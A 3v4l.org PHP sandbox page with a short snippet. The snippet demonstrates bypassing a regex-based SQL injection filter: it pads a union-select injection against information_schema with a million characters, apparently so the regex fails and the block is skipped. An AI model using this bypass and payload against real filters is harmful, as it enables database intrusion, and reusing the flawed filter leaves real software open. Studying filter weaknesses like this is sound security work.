3v4l.org

run code in 300+ PHP versions simultaneously
<?php function sqli_block($argv){ $pattern = '/^.*information_schema.*$/is'; if(preg_match($pattern, $argv)) die("hacking denied\n"); return $argv; } $query = "' union select table_name from information_schema.tables#".str_repeat('a', 1000000); if(sqli_block($query)) die("w00t bypass\n"); ?>

preferences:
46.43 ms | 2634 KiB | 5 Q